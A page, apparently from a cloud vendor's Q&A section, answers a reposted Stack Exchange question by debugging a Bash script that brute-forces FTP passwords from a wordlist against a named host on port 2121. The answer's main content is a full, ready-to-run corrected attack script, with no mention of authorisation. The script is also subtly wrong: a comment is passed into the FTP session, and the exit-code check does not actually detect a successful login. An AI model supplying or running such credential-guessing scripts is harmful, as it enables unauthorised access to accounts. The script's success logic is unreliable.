You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

编写FTP暴力破解Bash脚本时遇unexpected end of file错误求助

解决Bash FTP暴力破解脚本的语法错误

嘿,我一眼就看出问题所在了——你遇到的syntax error: unexpected end of file错误,核心原因是here-document(<< EOF)没有正确闭合,另外脚本还有几个小细节需要调整才能正常工作。

错误原因分析

  1. 未闭合的Here-Document:你用<< EOF告诉bash要把后续内容作为ftp命令的输入,但只写了开头的标记,却没有在ftp输入的末尾加上对应的EOF来结束输入块。bash会一直寻找这个结束标记,直到脚本文件末尾都没找到,所以抛出了“意外文件结束”的错误。
  2. 缺少FTP退出命令:即使你闭合了EOF,ftp会话也会一直保持打开状态,不会自动回到循环中继续尝试下一个密码,导致脚本卡住。
  3. 不够健壮的字典读取方式:cat $filename | while read LINE的写法会创建子shell,而且如果密码里包含转义字符或空格,可能会被错误解析。

修正后的脚本

这里是调整后的完整脚本,我标注了关键修改点:

#!/bin/bash
USER="user"
filename="WORDLIST"

# 用-r参数读取行,避免转义字符被解析;直接从文件读取,避免子shell问题
while read -r PASS; do
    echo "正在尝试密码: $PASS"
    # 调用ftp命令,用here-document传递输入
    ftp -inv services.cyberprotection.agency 2121 << EOF
user $USER $PASS
quit  # 明确退出FTP会话,让脚本继续循环
EOF
    # 检查ftp命令的退出码,0表示登录成功
    if [ $? -eq 0 ]; then
        echo "✅ 找到有效密码: $PASS"
        exit 0  # 成功后直接退出脚本
    fi
done < "$filename"

echo "❌ 字典中未找到有效密码"

关键修改说明

  • 闭合Here-Document:在ftp命令的输入末尾添加了EOF,和开头的<< EOF对应,解决了语法错误。
  • 添加quit命令:确保每次尝试后ftp会话正常关闭,脚本能继续执行下一次循环。
  • 优化字典读取:改用while read -r PASS; do ... done < "$filename"的写法,更健壮,能正确处理带空格或特殊字符的密码,同时避免子shell导致的变量作用域问题。
  • 增加成功判断:通过$?获取ftp命令的退出码,登录成功时直接退出脚本,避免不必要的循环。

内容的提问来源于stack exchange,提问作者Callum Williams

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.05.13 06:30:48